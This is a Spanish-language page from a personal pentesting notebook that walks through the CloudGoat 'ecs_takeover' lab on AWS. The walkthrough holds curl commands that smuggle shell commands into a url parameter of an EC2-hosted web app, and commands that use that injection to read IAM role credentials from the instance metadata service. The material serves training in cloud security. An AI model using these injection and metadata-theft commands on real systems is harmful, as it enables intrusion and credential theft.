💻
My Personal Hacking Path
  • 👓Wellcome
    • My Personal Hacking Path
      • Whoami
  • 📚Mi Metodología de Pentesting
    • Tipos de evaluaciones
      • El día a día en pentesting
    • Metodología Propia
      • OWASP
      • OSSTMM
      • PTES
      • CEH Hacking Metodology (CHM)
      • Cyber Kill Chain
      • MITRE Att&ck
    • Fase 0 - Pre Evalaución
    • Fase 1 - Reconocimiento
      • Web / Host
      • SubDominios
      • Descubrimiento de correos electrónicos
      • Escaneo de Puertos
      • Credenciales y brechas de seguridad
      • ¿Sin Ideas?
    • Fase 2 - Explotación
      • Shells
        • Diferencia entre una WebShell y Reverse Shell
      • Payload
      • Network Penetration Services
        • 20|21 - FTP
        • 22 - SSH
        • 139|445- SMB
        • 80|443 - HTTP/HTTPS
    • Fase 3 - Post Explotación
      • Enumeración
      • Linux
        • Enumeración
        • Privilege Escalation
      • Windows
        • Revershell
        • Windows Enum
        • Privilege Escalation
    • Fase 4 - Reporting
      • CVSS
        • v4.0
      • Toma de notas
  • 👾Malware
    • Malware DevOps
    • Arquitectura de Windows
      • Windows API
      • Procesos de Windows
      • Estructuras no documentadas
    • PE
      • DLL
    • Almacenamiento del Payload
      • .data & .rdata
      • .text
      • .rsrc
    • Cifrado de Payload
      • XOR
      • RC4
      • AES
    • Ofuscación de Payload
      • IPv4/IPv6Fuscation
      • MACFucscation
      • UUIDFuscation
    • Process Injectión
      • DLL Injection
      • Shellcode Injection
      • APC Injection
  • 🌐Web-Pentesting
    • Metodología para Pentesting Web
    • Footprinting
      • Identificación Tecnologías web
        • WordPress
        • Joomla
        • Drupal
        • Magento
      • Fuzzing
      • Validación de los certificados
    • Vulnerabilidades comunes
      • File Upload
      • SQL Injection
      • Cross-site scripting
      • XXE Injection
      • LFI - Local File Inclusion
        • Log Poisoning
      • RFI - Remote File Inclusión
      • CSRF - Cross-Site Request Forgery
      • SSRF - Server-Side Request Forgery
      • SSTI - Server-Side Template Injection
      • CSTI - Client-Side Template Injection
      • Padding Oracle Attack
      • NoSQL Injection
      • LDAP Injection
    • Laboratorios
  • ☁️AWS Pentesting
    • Introducción a Amazon Web Services AWS
    • Acceso Inicial
    • IAM
      • Políticas de IAM
      • Enumeraciones
      • Privesc-Paths
        • Permisos de IAM
        • Permisos sobre políticas
        • AssumeRolePolicy Update
        • IAM:PassRole*
          • PassExistingRoleToCloudFormation
    • S3
      • Enumeración
      • S3_public
      • OSINT
    • Lambda
      • Enum Lambda
      • Enum API Gateway
      • Privesc-Paths
        • RCE sobre Lambda
        • PassExistingRoleToNewLambdaThenInvoke
        • PassRoleToNewLambdaThenTrigger
        • EditExistingLambdaFunctionWithRole
    • EC2
      • Enumeración
      • Privesc-Paths
        • EC2_SSRF
        • CreateEC2WhithExistingIP
        • PassExistingRoleToNewGlueDevEndpoint
        • ECS_takeover
    • VPC
      • Enumeración
      • PivotingInTheCloud
    • Bases de Datos
      • RDS
        • Enumeración
      • DynamoDB
        • Enumeración
    • ECS
      • Enum ECR
      • Enum ECS
      • Enum EKS
    • AWS Secrets Manager
      • Enumeración
    • Análisis de vulnerabilidades Automatizado
    • Blue Team AWS
      • CloudTrail
      • CloudWatch
      • GuardDuty
      • AWS Inspector
      • AWS Shield
      • Web Application Firewall
    • Notas
      • Terraform
  • 🔫Red_Team
    • Introducción a Red Team
      • Assume breach
    • ¿Qué es MITRE ATT&CK?
      • Guia de uso de Invoke-AtomicRedTeam
    • C2 Comando y control
      • Sliver C2
        • Instalación
        • Beacons y Sesiones
        • Perfiles
        • mTLS y WiewGuard
        • HTTP / HTTPS
        • DNS
        • Stagers: Basics
        • Stagers: Proccess Injection
        • Basics de Implates
        • Ejecución de Assembly
        • Sideload
        • SpawnDLL
        • Sliver Extensions
  • 💾Active Directory
    • Teoria
      • Componentes Físicos
      • Componentes Lógicos
      • GPO VS ACL
      • Kerberos
        • Funcionamiento de Kerberos
      • Usuarios por defecto
    • Enumeraciones
      • ¿Por qué enumerar?
      • Enumeración manual
      • Enumeración con PowerView
    • Ataques en AD
      • Mimikats
        • Comandos
      • Password Spraying
      • LLMNR Poisoning
      • Relay Attacks
        • NTLM
      • Kerberoasting
    • Tools
      • AuxRecon
      • Powershell
      • PowerView.ps1
      • ADPeas
      • Mimikatz
        • Comandos
    • AD Lab
  • 🌩️Azure Coud Pentesting
    • Introducción a Azure y Office 365
    • Introducción a Microsoft Indentity Services
    • Enumeración
    • Azure Files
      • Encontrar Fuga de Datos
    • Microsoft Graph
    • Notas
  • 📱Mobile Pentesting
    • Análisis de Aplicaciones Móviles en MobSF
    • ¿Cómo interceptar tráfico de una aplicación Flutter Android con Burp?
  • 📶Wireless
    • Terminología
    • Tipos de Wireless Networks
    • Formas de Autenticación
    • Cifrados
      • WEP
      • WPA
      • WPA2
      • WPA3
    • Ataques
  • 😎Extras
    • Docker
      • Port Forward y volúmenes
      • Docker Compose
      • Container Breakouts
    • Comandos Utiles
    • Fliper Zero
    • Páginas útiles
  • Kali Set Up
Con tecnología de GitBook
En esta página
  • Laboratorio
  • Configuración inicial
  • Explotación
  1. AWS Pentesting
  2. EC2
  3. Privesc-Paths

ECS_takeover

Lab: CloudGoat

AnteriorPassExistingRoleToNewGlueDevEndpointSiguienteVPC

Última actualización hace 1 año

Laboratorio

En este escenario se empieza realizando un pentesting de caja negra contra un aplicativo web alojado en una instancia EC2. Luego de identificar una vulnerabilidad que permite RCE sobre el aplicativo web se abusará del servicio de metadatos de la instancia y del docker. Para posteriormente, comprometer una de las tareas que está corriendo en un cluster al que se tiene acceso por medio de la instancia comprometida.

El desarrollo de este ejercicio puede llegar a consumir recursos económicos dentro de las cuentas de AWS.

Objetivo: Obtenga acceso al contenedor "bóveda" y recupere la bandera.

Configuración inicial

Checar instalación de CloudGoad en:

Lanzar el escenario con:

./cloudgoat.py create ecs_takeover

Explotación

Luego de ingresar una URL válida como www.google.com se identificó que se puede agregar un parámetro URL sobre el enlace original, y además se ve como el aplicativo web incrusta el código HTML sobre el DOM de la página.

Realizando una inyección de parámetros se observó que el aplicativo responde comandos de sistema operativo:

curl "http://ec2-54-236-32-165.compute-1.amazonaws.com/?url=%3Bls+-l"

Haciendo uso de la vulnerabilidad de code injection se puede observar que el aplicativo está corriendo bajo el usuario de root:

curl "http://ec2-54-236-32-165.compute-1.amazonaws.com/?url=%3Bwhoami"

Usando el comando env podemos listas las variables de entorno del sito:

Listando las interfaces de red existentes se encontró una interfaz de red docker, lo cual indica el uso de contenedores

curl "http://ec2-54-236-32-165.compute-1.amazonaws.com/?url=%3Bip+a+show"

Listando los contenedores con docker ps -a se encontraron los siguientes contenedores:

Contenedor
ID

ecs-cg-ecs-takeover-ecs_takeover_cgidjozev9f9bv-vulnsite-1-vulnsite-bcf8beafe588ccca8a01

7bfa57af37b6

ecs-cg-ecs-takeover-ecs_takeover_cgidjozev9f9bv-privd-1-privd-a2bfc681b6dcf9d55500

64ca7db98975

ecs-agent

aaead8b98f5f

Se puede generar una rever shell en el sitio y tener mayores capacidades, para fines didácticos solo se va a consumir los metadatos del rol de la instancias ec2 y se procedesa a usar las credenciales de acceso

curl "http://ec2-54-236-32-165.compute-1.amazonaws.com/?url=%3Bcurl+http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "http://ec2-54-236-32-165.compute-1.amazonaws.com/?url=%3Bcurl+http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ecs-takeover-ecs_takeover_cgidjozev9f9bv-ecs-agent"

Al finalizar la preparación del laboratorio se arroja un sito web: el cual contiene un aplicativo como el siguiente:

☁️
Privesc-Paths
http://ec2-54-236-32-165.compute-1.amazonaws.com/
cloudgoat/scenarios/ecs_takeover at master · RhinoSecurityLabs/cloudgoatGitHub
Logo